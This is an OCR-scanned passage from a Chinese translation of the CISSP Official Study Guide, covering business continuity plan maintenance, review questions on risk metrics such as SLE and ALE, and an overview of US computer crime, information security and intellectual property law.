中识别的每条记录， 你应该能够标识出存储的位置。 一旦你完成了 这个任务， 接下来就可以使用这
个重大记录清单 ， 去报告剩下的业务连续性计划工作情况。
3.5.9 晌应紧急事件的指导原则
紧急事件响应指导原则概述了组织和个人对于紧急事件立即响应的职责。 此文档为首先发现紧
急事件的员工提供了激活未 自 动激活的 BCP 预备措施的步骤， 这些指导原则应当包括下列 内 容:
• 立即响应规程(安全性规程 、 防火规程、 通知恰当 的 紧急事件代理机构等)
• 事件通知清单(主管 、 BCP 团 队成员等)
• 在等待 BCP 团 队集 中时采取的二级响应规程
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CISSP 官方学 习指南(第 7 版)
你的指导方针应该被所有人接受， 当一次危机事件来临时， 第一个站出来的人有可能就在这群
人中间。 任何时候破坏罢工 ， 时间都是宝贵的。 降低业务连续性进程的速度可能会导致业务运营出
现非预期 中断。
3.5. 10 维护
BCP 文档和计划本身必须是实际使用中 的文档。 每个组织都会遇到几乎持续的变化， 这种动态
特性也确保了业务连续性要求随之发生变化。 BCP 团队不应该在计划开发完成后被解散， 而是应当
定期接触并讨论计划 、 复审计划测试的结果， 以确保能够继续满足组织的要求。
显而易见， 计划的较小变更不要求整个 BCP 开发过程重新开始， 只 需要通过 BCP 团 队的非正
式会议达成一致意见。 然而， 需要记住的是， 组织任务或资源的剧烈变更可能要求重新开始 BCPo
在更新 BCP 的任何时候， 必须进行 良好的版本控制 。 所有旧 的 BCP 版本都应该进行物理销毁，
并且被最新版本代替， 这样就不会产生对 BCP 正确实现的混淆。 将 BCP 组件包含在工作描述中 以
便确保 BCP 保持更新和正确实施是很好的习惯。 员工的工作描述中包含 BCP 职责也会使其成为绩
效审查过程考虑的对象。
3.5. 11 测试和演习
BCP 文档还应当概述一个正式的测试计划， 以确保计划是最新的， 并且所有人员都接受了充分
培训 ， 从而在实际的灾难事件发生时能够履行他们的职责。 测试过程实际上与用于灾难恢复的计划
非常类似， 因 此我们将在第 1 8 章 中讨论具体的测试类型 。
3.6 本章小结
每个依赖技术资源作为生存基础的组织都应该拥有一个综合的业务连续性计划， 以便确保组织
在发生无法预知的紧急事件时具有持续的生存能力。 很多重要的概念支撑着可靠的业务连续性计划
(BCP) ， 其中 包括项 目 范围和计划编制 、 业务影响评估、 连续性计划 、 批准和实现。
每个组织都必须具备计划和规程来帮助缓解灾难对于连续运营的影响， 并且加速恢复正常运营。
为了确定业务所面临的需要缓解的风险， 必须从定量和定性的角度实施业务影响评估。 必须采取恰
当 的步骤开发组织的连续性策略 ， 并且 了解在经受未来的灾难时要做什么 。
最后， 必须建立用于确保计划能够有效传递至现有或未来 BCP 团 队成员 的文档。 这样的文档必
须包括连续性计划指导原则 。 这个业务连续性计划必须包含重要性、 优先级、 组织职责、 紧急程度
和时限的声明: 还应当包含风险评估、 接受和缓解、 重大记录计划、 紧急事件响应指导原则 以及维
护和测试的计划 。
第 1 8 章将讨论如何制定下一步的计划 ， 即开发并实现灾难恢复计划 。 灾难恢复计划在业务连续
性计划中 止时开始。 当中断业务的紧急事件发生时， 尽管 BCP 采取了措施， 但是灾难恢复计划仍然
要指导必要的恢复工作 ， 以便尽可能快地恢复到正常的业务运营状态。
第 3 章 业务连续性计划
3.7 考试要点
理解业务连续性计划编制过程的 4 个步骤。 业务连续性计划涉及 4 个不 同的阶段: 项 目 范围和
计划编制、 业务影响评估、 连续性计划、 批准和实现。 每个任务都为整体 目 标服务， 从而确保业务
在发生紧急事件时不会中 断井持续运营。
描述如何执行业务结构分析。 在业务结构分析中， 负 责领导 BCP 过程的人确定哪些部门和个人
会参与业务连续性计划。 这种分析被用作 BCP 团 队选择的基础 ， 并且在 BCP 团 队确认后被用于指
导 BCP 开发的后续阶段。
列出业务连续性计划团队的必要成员 。 BCP 团 队至少应当包括下列人员 : 每个运营和支持部门
的代表; IT 部门的技术专家: 具有 BCP 技能的安全人员: 熟悉公司法律、 规章、 契约责任的法律
代表: 以及高管代表。 其他团队成员取决于组织的结构和特性 。
了解业务连续性计划编制者面对的法律和规章要求。 业务领导必须尽职， 以确保股东的利益在
灾难事件发生时得到保护。 美国的一些行业还必须服从美国联邦、 州|和当地的法规， 这些法规要求
特殊的 BCP 规程。 很多业务在 灾难发生之前和之后都具有客户 必须满足的合约义务。
解释业务影响评估过程的步骤。 业务影响评估过程的 5 个步骤包括优先级确定、 风险确定、 可
能性评估、 影响评估和资源优先级划分 。
描述连续性策略的开发过程。 在策略开发阶段， BCP 团队确定哪些风险要进行缓解。 在预备和
处理阶段， 将会对实际缓解风险的机制和规程进行设计。 计划必须随后得到高管的批准并且加以实
现 。 人员还必须接受其在 BCP 过程中 所处角 色的培训11 。
解释为组织机构的业务连续性计划进行全部文档化的重要性。 将计划记录下来， 以便在灾难发
生时为计划的实施提供规程上的书面记录。 这避免 了 " 在我脑子里 " 的综合症， 从而确保在紧急事
件中有序地实施计划 。
3.8 书面实验室
l . 为什么 BCP 团 队包括法律代表是重要的 ?
2. 针对 BCP 的 " 凭直觉" 论点错在哪里?
3. 定量和定性风险评估之间有何差异 ?
4. BCP 培训计划 中应当包含哪些关键组件?
5. BCP 过程具有哪 4 个主要步骤?
3.9 复习题
l . 对于那些对业务连续性计划开发负责 的人来说 ， 第一步应该执行什么 ?
A. 团 队选择
B. 业务组织分析
C. 资源需求分析
D. 法律和合规性评估
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CISSP 官方学 习指南(第 7 版)
2. 一旦 BCP 团 队选定， 放在团 队议程首要位置的是什么 ?
A. 业务影响评估
B. 业务组织评估
C. 资源需求评估
D. 法律和合规性评估
3. 在组织持续生存方面， 为确保适当 的措施用于减少灾难影响， 以下哪一项描述了企业管理人
员和总监的责任?
A 企业责任
B. 灾难需求
C. 应尽关注
D. 持续经营责任
4. 在 BCP 阶段， BCP 过程消耗的主要资源将是什么 ?
A. 硬件
B. 软件
c. 处理时 间
D. 人员
5. 在业务影响评估的优先级识别阶段， 什么测量单位用于资产价值量化?
A. 货 币
B. 效用
C. 重要性
D. 时 间
6. 下列哪一项 目A 条款标识 了 一个特定风险每年预计损失的货币量?
A. ARO
B. SLE
C. ALE
D. EF
7. 什么 BIA 度量值被用于表示一个业务功能的最长中 断时间， 但这个中断没有对组织产生不可
弥补的损害 ?
A. SLE
B. EF
C. MTD
D. ARO
8. 你担心雪崩这个风险会威胁到你的 300 万美金运输设施。 基于业内意见， 你确定每年雪崩有
5%的几率发生 。 专家提醒你， 雪崩会彻底摧毁你的建筑物， 井迫使你在同一块土地上重建。 这 300
万美金的设施中 90%的价值是大楼， 另 外 10%是土地本身。 雪崩对于你的运输设施的单一损失期望
是多少 ?
A. 300 万美金
B. 270 万美金
C. 27 万美金
D. 1 3.5 万美金
9. 在 问题8提到 的场景中， 年度损失预期是多少?
A. 300 万美金
B. 270 万美金
C. 27 万美金
D. 1 3.5 万美金
第3章 业务连续性计划
1 0. 你担心咫风会对设在南佛罗里达州的公司总部造成风险。这个建筑物本身价值 1 500万美金。
在咨询了 国家气象服务部门后， 你确定咫风在一年之中袭击的可能性有 1 0%。 你雇佣了 一支 由建筑
师和工程师组成的团队， 确定了一般的咫风会摧毁约 50%的建筑物。 年度损失期望他E)是多少?
A. 75 万美金
B. 1 50 万美金
C. 750 万美金
D. 1 500 万美金
11. 以下哪个 BCP 任务连接业务影响评估和连续性规划阶段?
A. 资源优先级
B. 可能性评估
C. 策略开发
D. 条款和流程
12. 当 设计连续性计划条款和流程时 ， 首先应该保护哪个资源?
A 厂房
B. 基础设施
C 金融
D. 人
13. 在业务影响评估过程中 ， 下 列哪个观点 不适合定量测量 ?
A 厂房 的损失
B. 车辆的损坏
C. 负面宣传
D. 断 电
14. LighterThanAir 公司预计如果龙卷风袭击了它的飞机业务设施， 就会损失 1 000 万美金。 假
设龙卷风袭击设施每 1 00 年会发生一次。 那么在这个场景下单一损失期望是多少 ?
A. 0.01
B. 1 000 万美金
C. 1 0 万美金
D. 0. 10
15. 根据 问 题 1 4 提到 的场景， 年度损失期望是多少 ?
A. 0.01
B. 1 000 万美金
C. 1 0 万美金
D. 0. 10
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CISSP 官方学 习指南(第 7 版)
1 6. 在哪个业务连续性计划任务中， 会设计流程和机制 以减少 BCP 团 队认定的不可接受的
风险?
A. 策略阶段
B. 业务影响评估
C. 条款和流程
D. 资源优先级
1 7. 安装元余通信链路， 这是利用 了 什么类型的缓解条款?
A. 加 固系统
B 定义系统
c. 减轻系统
D. 更换系统
1 8. 如果灾难中断了业务的正常运行， 什么类型 的计划概述了相关处理流程?
A. 业务连续性计划
B. 业务影响评估
C. 灾难恢复计划
D. 脆弱性评估
1 9. 用 于为单个风险场景计算单一损失期望的公式是什么 ?
A. SLE = AV x EF
B. SLE = RO x EF
C. SLE = AV x ARO
D. SLE = EF x ARO
20. 对于下面列 出 的人员 ， 一份重要的 业务连续性计划声 明会对谁提供最佳承诺?
A. 业务运营副总裁
B. 首席信息 官
C. 首席执行官
D. 业务连续性经理
第 4 z=二
写主
法律、 法规和合规性
本章中覆盖的 CISSP 考试大纲包含 :
安全和风险管理(例如 ， 安全、 风险、 合规性、 法律、 法规、 业务连续性)
• c. 合规性
C. l 法律和法规遵从
C.2 隐私需求遵从
• D. 理解全球范围 内涉及信息安全的法律和法规问 题
D. l 计算机犯罪
D.2 许可和知识产权(例如 ， 版权、 商标、 数字版权管理)
D.3 进 口/出 口 控制
D.4 跨境数据流
D.5 隐私
D.6 数据破坏
在早期的计算机安全中 ， 信息安全专业人士更多地依靠个人的力量来保护他们的系统免受攻击，
而没有得到刑事和民事司法系统的帮助。 当信息安全专业人士寻求执法机构的帮助时， 工作繁忙的
执法机构却不情愿这样做， 其原因在于他们对于涉及计算机的行为哪些属于犯罪， 没有一点儿基本
概念。 政府的立法机构并没有对计算机犯罪的 问题进行说明 ， 而执法分支机构认为他们没有法定的
授权或义务来追查这些 问题。
幸运的是， 我们的法律系统和执法人员 己经走过了二十几年漫长的道路。 全世界的政府立法机
关至少己经尝试解决计算机犯罪的问题。 许多执法机构己经有了 全职的、 受过良好安全培训 的计算
机犯罪调查人员 ， 以便帮助那些 需要 了解这方面情况却又不知道向谁咨询的人。
在本章中， 我们将讨论有关处理计算机安全问题的各种法律类型， 井且我们还将研究有关计算
机犯罪、 隐私、 知识产权和多个相关话题的法律问题。 我们还将介绍基本的调查技术， 其中包括请
求执法部 门援助的利弊。
CISSP 官方学习指南(第 7 版)
4.1 法律的分类
在我们的法律系统中有三种主要的法律类别发挥着作用 。每一种法律都涵盖了许多不同的环境，
并且在不同 的类别下对于违法的处罚方式也不相同。 接下来， 你将学习刑法、 民法和行政法如何相
互作用 ， 进而形成司法系统的复杂网络。
4. 1 . 1 刑法
刑法形成了 法律体系的基石， 维护着我们所处社会的和平和安全。 许多 高等法院的法官都关心
刑法的 问题， 这些也是警察和其他执法机构所关心的 问题。 刑法包含针对某些行为的禁令， 如谋杀、
伤害、 抢劫、 纵火和类似的犯罪行为。 对违反刑法的处罚有一个范围， 包括强制性劳教、 以罚金形
式的货 币 处罚(或多或少)、 以监狱判决形式剥夺公 民 自 由权。
@ 真实场景
警察是精明的 !
本书其中 一位作者的好友是地方警察部 门 的技术犯罪调查人员 ， 他经常接手计算机滥用 的案子，
这些案子涉及危险 的 电 子邮件和 Web 站点帖子。
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最近， 这名 调查人员谈起一起通过电子邮件向 当地中 学发出 的炸弹威胁案。 罪犯向 学校校长发
送 了 一封威胁性邮件， 信 中 宣称炸弹将在下午 l 点爆炸， 同 时警告校长撤离 学校。 这位好友在上午
1 1 点接到报警， 此时他只有两个小 时时间来调查罪行和建议校长采用 最佳的 一系列动作 。
这位调查人员 立刻 紧急传唤网络服务供应商， 并且1!Rß京到威胁邮件来 自 学校图 书馆的某 台计算
机。 在中午 1 2 点 1 5 分， 调 查人员 向嫌疑人出 示 了表明其当时在图书馆 内 的监控录像以及最终表明
其发送 了 邮件的审计 日 志。 该学生很快承认发出这个威胁只是企图 将放学时间提前两个小时。 他的
解释是 "我不相信有人能够发现真相" 。
然而事 实表明 ， 这位学生的想法是错的。
目 前有许多刑法都是为了通过打击计算机犯罪保护社会安全。 在本章稍后的几节中， 你将学习
到美国 的一些法律， 如计算机欺诈和滥用法案(Computer Fraud and Abuse Act)、 电子通信隐私法案
(Electronic Communications Privacy Act)、 阻止盗用和伪装身份法案(Identity Theft and Assumption
Deterrence Act) ， 以及这些法律如何对严重计算机犯罪予 以刑事处罚 。 通过法院系统为过去被认为无
害的冒犯法律的行为裁定漫长的刑期， 拥有技术专长的检察官能够与执法机构一起狠狠地打击 " 地
下黑客"。
在美国 ， 政府中各个级别的立法机构通过选举代表建立刑法。 在联邦一级， 众议院和参议院为
了使刑法法案变成法律， 法案必须获得多数议员通过(在大多数情况下)。 一旦通过， 这些法律便成
为联邦法律， 并在联邦政府具有管辖权的案件中生效(主要包括州间贸易 的案件、 跨越扑|边界的案件
或者违反联邦政府本身法律的案件)。 如果不能应用联邦一级的司法权， 那么州的主管当局将使用类
似方式由 州立法机构通过的法律处理这些案件 。
所有联邦和州的法律都必须遵守美国宪法， 它是规定美国政府系统如何工作的文挡。 所有的法
第4章 法律 、 法规和合规性
律都要受到地方法院的司法审查， 有向美国最高法院请求上诉的权利。 如果法院发现某个法律是违
反宪法的 ， 那么就有权力驳回该法律并认定其无效。
需要记住的是， 刑法是非常严肃的 。 如果发现自 己卷入刑事当局的案件中并成为计算机犯罪的
证人、 被告或受害者， 那么建议向熟悉刑法系统和了 解计算机犯罪问题的律师寻求帮助。 在如此复
杂的系统中 ， 采取 "独自应对 " 的态度是不明智的。
4.1 .2 民法
民法形成了法律体系的大部分。 它们用于维护社会秩序， 并管理不属于犯罪行为但需要一位公
正的仲裁者来解决的个人之间和组织之间的 问题。 由 民法进行判决的 问题类型的例子包括: 合同纠
纷、 不动产交易 、 雇佣问题、 财产/遗嘱规程。 民法还被用于创建政府框架， 行政机构使用这个体系
架构来履行 自 己的职责 。 这些法律为政府活动提供了 预算， 并且安排管理机构授权允许行政机构创
建行政法(参见下一节)。
制定民法的方式与刑法相同。 在成为法令之前， 它们必须通过立法程序 ， 并且受到相同宪法的
限制和司法审查过程。 在联邦级别， 刑法和民法都被收录在美 国法典(United States Code， USC)中 。
民法和刑法的主要差异在于它们执行的方式。 通常， 执法当局不会卷入超出采取必要的措施以
恢复正常秩序的刑法问题。 在刑事诉讼方面， 政府通过执法调查员和检察官对被指控犯罪的人采取
措施。 在 民事 问题中 ， 它 的职责是让那些受到冤枉的人得到法律建议， 并提起民事诉讼对付那些应
对他们的冤情负责的人。 政府(除非是原告或被告)在纠纷或争论的过程中不站在任何一方的立场。
在 民事纠纷中， 政府唯一的作用是提供审理民事诉讼的法官、 陪审团和法院'设施， 并在管理司法系
统与法律一致方面扮演行政角色 。
与刑法一样， 如果认为需要提起民事诉讼或提起的 民事诉讼是针对你的， 那么最好获得法律帮
助。 虽然民法中没有关押措施， 但是败诉的一方可能面临严厉的经济处罚 。 我们从每晚播报的新闻
中就能发现身边发生的例子， 包括起诉烟草公司 、 大公司和富人赔偿数百万美元的案例。 每天都会
发生这样的事情。
4.1 .3 行政法
政府的行政机构要求众多 的机构对保证政府功能的有效性担负广泛的责任。 这些机构的责任是
遵守并执行立法机构制定的刑法和民法。 但是， 正如很容易想象到的那样， 刑法和民法制定的规则
和措施不可能在任何可能的情况下都被遵守 。 因此， 执行机构有制定行政法的 回旋余地， 从而以政
策、 规章和制度的方式管理机构的 日 常运作。 行政法涉及的话题可能是小事， 如联邦机构购买办公
电话的手续， 也可以是更重大的问题， 如用于执行在国会中通过的法律的移民政策。 行政法被颁布
在 美国联邦法规 中 ， 通常被称为 CFR(Code ofFederal Regulations) 。
虽然行政法不需要立法机构的法案来获得法律的效力 ， 但是必须遵守所有己存在的 民法和刑法。
政府机构不能执行与立法机关通过的现行法律直接相矛盾的规章制度。 此外， 行政法(和政府机关的
活动)也必须遵守美国宪法并接受司法审查。
为 了理解合规要求和程序， 必须充分熟悉法律的复杂性。 从行政法到民法再到刑法(一些国家甚
至有宗教法)， 操纵监管环境是一项艰巨的任务。 CISSP 考试重点在于法律、 法规、 调查和合规的概
述， 因 为它们对组织安全工作有影响。 然而， 你的责任是向专业人员(如律师)寻求帮助， 从而指导
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CISSP 官方学 习指南(第 7 版)
和支持从事的维护法律 以及法律所支持的安全工作 。
4.2 法律
下面我们将讨论许多与信息技术有关的法律。 根据需要， 这些讨论都是以美国为中心的， CISSP
考试会涉及这些内容。 我们还将介绍几种立场鲜明 的外国法律 ， 如欧盟的数据隐私法案。 不过， 如
果你所在的环境涉及外国 的司 法权限 ， 那么就应该请本地的法律顾问来指导你了解他们的法律系统。
警告 :
每一位信息安全方面 的专业人士都应该对涉及信息技术的法律有一个基本了 解。 然而， 应该学
习 的重要一课是知道何时向 法律专 家咨询 。 如果你认为 自 己正处在法律的 "灰色区域" ， 那么最好寻
求专 家的建议 。
4.2.1 计算机犯罪
被立法者确定的第一起计算机安全问题是那些涉及计算机犯罪的事件。 早期的计算机犯罪诉讼
依据传统的刑法， 许多案件都被拒绝受理， 这是由于法官认为: 如果将传统的法律应用到这种现代
类型的犯罪中 ， 那么扩展的范围太广 。 为此， 立法者通过了特殊的法令， 法令中对计算机犯罪进行
了 定义 ， 并为各种罪行设置了具体的处罚措施 。 接下来， 我们将介绍其中 的几种法令 。
提示 :
本章中 讨论的美 国 法律是联邦法律。 几乎每个州者阵十对计算机安全问题制定了 一些立法形式。
由 于互联网在全球的延伸 ， 大多数计算机犯罪都跨越 了 州 的 边界， 因 此落在了 联邦 司 法权恨之内并
在联邦法院系统中进行诉讼。 不过， 在某些环境 中 ， 少H 法律可能比联邦法律更具有限制性， 并且处
罚 更严厉。
1 计算机诈骗和滥用 法案
美 国 国会在 1 984 年首先制定 了计算机欺诈和滥用法案(CFAA)， 并且通过一些修正后， 直到今
天仍然在执行。 这条法律经过精心编写， 专门用于跨越州边界的计算机犯罪， 避免违反州的权力和
践踏宪法。 法案的主要条款主要针对下列这些罪行:
• 没有经过授权或超出 了 权限范围而访 问 联邦系统中 的机密信息或财务信息。
• 没有经过授权而访 问只能 由 联邦政府使用 的计算机。
• 使用联邦计算机进行欺诈活动(除了 欺诈的唯一 目 标是要使用计算机本身)。
• 对联邦计算机系统造成恶意损失超过 1 000 美元的行为 。
• 修改计算机中的医疗记录， 从而影响或可能影响个人的检查、 诊断、 治疗或医疗看护。
• 非法买卖计算机密码， 如果非法买卖行为影响 了州间的贸易或涉及联邦的计算机系统。
计算机欺诈和滥用法案在 1 986 年经过了修正， 法案的作用范围也有所改变。 除了处理敏感信息
的联邦计算机之外， 法案中还包括了所有的涉及联邦利益的计算机， 这样就拓展了 法案的范围 ， 如
下所示:
• 由 美国政府专 门使用 的所有计算机。
第 4 章 法律 、 法规和合规性
• 由 金融机构专 门 使用 的所有计算机。
• 当犯罪活动妨碍了 政府或机构使用系统的能力时， 由政府或金融机构专门使用 的计算机。
• 不处在同一个州 的被用于犯罪活动 的所有计算机的组合。
提示 :
准备 CISSP 考试时， 需要保证能够 简 要描述本节所讨论的每个法律的 目 的 。
2. CFAA 修正案(1 994 年)
在 1994 年， 美 国 国会认识到自 从 CFAA 于 1986 年最后一次修正以来， 计算机安全的面貌已经
发生了彻底的变化， 于是对该法案进行了许多次大范围 的修改 。 总的来说， 这些变化被称为计算机
滥用修正法案， 其 中包括下面这些条款:
• 宣布那些可能造成计算机系统损害的、 生成任何类型恶意代码 的行为是不合法的 。
• 修改了 CFAA， 包含了所有被用于州 间贸易的计算机， 而不只是包含用于联邦利益的计算
机系统。
• 允许关押罪犯， 不管他们是否造成了 实际的损坏 。
• 为计算机犯罪的受害者提供了 提起民事诉讼的法律权力， 对受到的损失可以申请获得减轻
和补偿。
201 5 年， 奥巴马总统提议对计算机犯罪和滥用法案进行重大修改， 计划把计销;几犯罪放入反诈
骗腐败组织集团犯罪法但ICO)条款范围中， 用 于打击有组织的犯罪。 截至本书印刷时， 那个提案仍
然悬而未决。
3. 计算机安全法案(1 987 年)
CFAA 在 1986 年修正之后包括了 范围广泛的计算机系统， 美国国会将注意力转向了 内部， 并且
调查了 当前联邦政府系统中计算机安全的状况。 美国国会成员对他们看到的情况很不满意， 进而制
定 了计算机安全法案(CSA， 1 987 年)， 为所有的联邦机构设置了 安全要求基准。 在引入 CSA 时， 美
国国会详细规定 了 法案 的 4 个主要 目 的 ， 如下所示:
• 授予美国 国家标准技术研究所例ISη开发联邦计算机系统标准和准则的职责， 包括负责为
联邦计算机系统开发标准和准则。 在适当时使用美国国家安全局(NSA)的技术性建议和援助
(包括工作产品)。
• 颁布这些标准和准则。
• 要求包含敏感信息的联邦计算机系 统的所有操作人员制定安全计划 。
• 要求包含敏感信息的联邦计算机系统所涉及的所有管理、 使用和操作人员强制性参加定期
培训 。
这条法案中宣布的许多要求经过很多年形成了美国联邦计算机安全策略的基础， 而且还将计算
机安全的责任分摊给两个联邦机构。 原来美国国家安全局(NSA)对所有的计算机安全问题都有权限，
现在只保留了对机密系统的权限。 美 国 国家标准技术研究所(NIST)获得了 负责保护其他所有联邦政
府系统的权利 。 NIST 发布的专业出版物 800 系列与联邦政府的计算机安全相关。 这些对于安全从业
者 是有用 的 ， 并且可 以免费从网站上获得: http://csrc.nist.gov/publications/PubsSPs.html 。
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CISSP 官方学习指南(第 7 版)
4. 美国联邦判决指导方针
1 99 1 年发布的美国联邦判决指导方针提供了 处罚 指导方针， 从而帮助联邦法官解释说明计算机
犯罪的相关法律。 如下所示， 这些指导方针的三个条款对信息安全团体产 生了 持久 的影响 :
• 指导方针使审慎者规则成为书面形式， 这种规则要求高级行政长官个人负责确保平常的适
度关注， 审慎的个人会经历相同 的情况。 这条在财政责任领域中开发的规则现在也被应用
于信息安全领域。
• 通过证明使用适度关注来履行 自 己的信息安全责任， 指导方针允许组织和行政长官遭受最
小 的违法处罚 。
• 指导方针概述了三个为疏忽提供证据的责任。 首先， 被控疏忽的人员必须具有法律上认可
的 责任。 其次， 被控人员必须未遵守公认的标准。 最后， 疏忽行为和随后，的受损之间必须
存在因果关系 。
5 美国国家信息基础设施保护法案(1 996 年)
1996 年， 美国国会还通过了对计算机诈骗和滥用法案的一系列修正案， 从而进一步扩展了 其提
供的保护范围， 其中包括了 下面这些新覆盖的领域:
• 放宽了 法案的范围 ， 除了用 于州 间 贸易 的计算机系统， 还包括用于国际贸 易的计算机系统。
• 扩展了对国家基础设施(除了计算系统外还有铁路、 燃气管道、 电网和通信线路)的类似保护。
• 对于故意的或不计后果的造成国家基础设施重要部分损坏的行为， 作为重罪处理。
6. 文书精简法案(1 995 年)
文书精简法案(1 995 年)要求机构在请求大多数类型的公共信息之前， 必须获得美国行政管理和
预算局(Office ofManagement and Budget， OMB)的批准。 信息收集包括表格、 会谈、 记录保存要求
以及其他各种行为。 2000 年的政府信息安全改革法案(Government Information Security Reform Act，
GISRA)对文书精简法案进行了 修正 。
7. 政府信息安全改革法案(2000 年)
2000 年的美国政府信息安全改革法案(GIS队形正了 美国法典， 从而实施了额外的信息安全策
略和措施 。 在该法案 的文本中 ， 美国国会为建立 GISRA 设置了 下列 5 个基本 目 标:
• 提供内容全面的体制 ， 从而建立和确保控制那些支持联邦工作和 资产的信息资源的有效性。
• 认识到联邦计算环境高度网络化的特点， 其 中包括联邦政府协同工作能力的需要以及改善
的安全管理措施的实现， 从而保证协同工作的能力不会受到负面影响 。
• 提供有效的政府范围内的管理 以及监督与安全风险相关的信息， 包括贯穿所有市民 、 国家
安全和执法社区 的信息安全工作。
• 为保护联邦信息和信息系统安全所需的最小控制措施提供开发和维护 。
• 为联邦机构信息 安全程序的 监督措施的 改进提供机制 。
GISRA 的条款继续要求美国 国家标准技术研究所和美国 国家安全局负有安全监督的责任， 二者
分别负责非机密的和机密的信息处理系统。 然而， GISRA 将维护政府信息和信息系统的安全性和完
整性的担子放在 了 个别 机构领导者的肩上 。
GISRA 还创建 了 一种新的计算机系统类别 。 关键任务系统满足下面的标准之一:
第 4 章 法律 、 法规和合规性
• 被其他法律条款定义为国家安全系统。
• 由 为机密信息而建立的措施保护 。
• 对所处理的信息发生丢失、 误用 、 泄露或未经授权的访问， 或者对所处理的信息的任何修
改都会对机构的任务产生不 良影响 。
GISRA 为美国国防部长和中 央情报首长的关键任务系统提供了 具体的评估和审计权限。 这是一
种尝试， 从而保证所有的政府机构， 甚至是那些 日 常工作中不处理国家机密安全信息的机构， 在对
机构持续运转方面绝对重要的系统上实施充分的安全控制措施。
注意 :
在过去的 10 年里， 美 国 国 会没有通过任何新的 关于计算机犯罪的重大事项， 但是有股力量在最
近推动制定新的法律。 值得注意的失败事例 包括: 2012 年的 网 络安全法案和 201 3 年的网络情报共
享和保护法案。
尽管这些条例没有通过成为法律， 但是很有可能推动继续颁布新的 网 络犯罪法律， 并且新的规
定正在冉冉升起。
8 美国联邦信息安全管理法案
在 2002 年通过的美国联邦信息安全管理法案(Federal Information Security Management Act，
FISMA)要求联邦机构实施一个信息安全项 目 ， 这个项 目 要覆盖机构部门 的运营。 FISMA 同样也要
求政府部门 ， 包括承包商在内 的活动在安全管理项 目 内 。 美 国 国家标准技术研究所(NIST)负责开发
FISMA 实施指南， 概括了 下面的 关于一个有效信息安全项 目 的要素:
• 定期评估风险， 包括可能由未授权的访问 、 使用 、 信息披露、 破坏、 修改， 或由信息破坏
和支撑着组织运营的系统 以及组织 的资产导致的伤害 ， 将它们降低到最小 。
• 基于风险评估的策略和程序， 在成本效益原则下把信息安全风险降低到一个可接受的级别，
以及确保信息安全贯穿于组织每个信息系统的整个生命周期中。
• 下级计划为网络、 设施、 信息系统或信息系统群体提供恰当 的信息安全 。
• 通过安全意识培训去告知每个人(包括承包商和其他支撑着组织运营和 资产 的信息系统用
户)， 信息安全风险关系到他们的活动和责任， 要遵守为了 降低这些风险由组织设计的策略
和程序。
• 定期测试和评估信息安全策略、 程序 、 实践和安全控制的有效性， 执行频率取决于风险，
但每年至少一次。
• 规划、 实施、 评估和记录补救措施的过程， 去解决信息安全策略、 程序和组织实践中任何
不足的地方。
• 制 定对信息安全事件检测 、 报告和响应的 流程。
• 制 定计划和程序 来确保支撑着组织运营和 资产的信息系统的持续运行。
FISMA 给联邦机构和政府承包商带来了 很大责任， 联邦机构和政府承包商必须开发和维护他们
在 FISMA 合规方面的大量资料。
4.2.2 知识产权
在全球经济中 ， 美国的角色正在从产品 的制造商转变为服务的供应商。 这个趋势也在世界大部
89
CISSP 官方学 习指南(第 7 版)
分的工业化国家中体现出来。 随着向服务供应商的转变， 知识产权在许多公司 中担任着越来越重要
的角色。 实际上对于许多大的跨国公司 ， 最有价值的资产只是我们已经逐渐认识到的品牌名字和公
司名称， 如 Dell、 Proctor & Gamble 和 Merck， 他们是产品信誉的保证。 出版公司 、 电影制片人和艺
术家依靠他们富有创造力的思想赢得生存。 许多产品是依靠秘密处方或生产技术得以发展， 例如，
可口可乐公司 富有传奇色彩的饮料秘密处方或者 Colonel 公司秘密的香草和香料的混合产品 。
这些无形的资产被总称为知识产权， 并且存在一整部保护所有者权利的法律。 毕竟， 如果一家
音乐商店只购买每位艺术家光盘的复制品 ， 并为所有的客户刻录复制的光盘， 这样做就太不公平了 ，
这是剥夺艺术家的劳动成果。 接下来， 我们将介绍与 4 种主要知识产权类型(版权、 商标权、 专利权
和商业秘密)相关的法律， 并且还将讨论这些概念如何与信息安全专家相关联。 许多国家以不同的方
式保护(或不予 以保护)这些权力 ， 但是基本的概念在世界各地大体相 同 。
1 . 版权和数字干禧年版权法案
版权法保护 " 原创作品" 的创作者， 防止创作者的作品遭到未经授权的复制。 目 前有下列 8 种
主要的作品类别受到版权保护 :
• 文学作品
• 音乐作品
• 戏剧作品
• 哑剧和舞蹈作品
• 绘画、 图形和雕刻作品
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• 电影和其他音像作品
• 声音录音
• 建筑作品
软件版权属于文学作品这一类。 然而， 注意到下面这一点很重要: 版权法只保护计算机软件中
内在的表达方式， 也就是实际的源代码， 不保护软件背后的思想或过程。 目 前还有一些问题是， 关
于版权是否可以被延伸到包括软件包的图形用户界面的 " 外观"。 法院判决对于这类问题已经给出 了
两种看法， 如果卷入了这类问题， 那么应该 向知识产权方面的资深律师进行咨询， 以便确定当前的
立法状态和相关的法律案例 。
目 前有一个正规的过程可以获得版权， 将受到保护的作品连同注册费用一起送到美国 国会图书
馆。 有关这个过程的更多信息， 请访问网站www.copyright.gov。 然而， 注意到下面这一点很重要:
正式登记版权不是实施版权的先决条件。 实际上， 法律规定作品的创作者从作品产生出来起就立即
自 动享有版权。 如果能在法院证明你就是作品 的创作者(也可能是发行者)， 那么你就会受到版权法
的保护 。 正式注册只是让政府承认他们在具体的日期收到 了你的作品。
版权的所有权总是属于作品 的创作者。 这个政策的特例是: 作 品是租用的 。 员 工在日常工作期
间生产出的作品被认为是 "租用的"。 例如， 当某位员工在公司的公共关系部门写了一篇新闻稿时，
该新闻稿就被认为是租用的 。 当作为书面合同的一部分声明作品是租用时， 那么这件作品也被认为
是租用 的 。
目 前的版权法提供了 一个相当长的保护时间。 有一位或多位创作者的作品 ， 被保护的时间是直
到最后一位创作者死后 70 年。 租用 的作品和匿名 作品被保护的时间是以下两项中时间较短者: 从第
一次发表 日 期起的 95 年 ， 或从创作 日 期起 的 1 20 年。
在 1998 年，美国国会认识到迅速变化的数字技术正在延伸至现行的版权法。 为了迎接这个挑战，
第 4 章 法律、 法规和合规性
他们制定了引 起广泛讨论的数字干禧年版权法案(Digital Millennium CopyrightAct， DMCA)o DMCA
还被用于使美国的版权法符合世界知识产权组织仰Orld Intellectual Property Organization， WIPO)条约
中 的两个条款。
DMCA 的第一个主要条款是阻止那些挫败版权保护机制的企图 ， 这些保护机制由版权所有者用
于受保护的作品。 这个条款被设计用于保护阻止复制数字介质的机制， 如 CD 和 DVDo DMCA 对
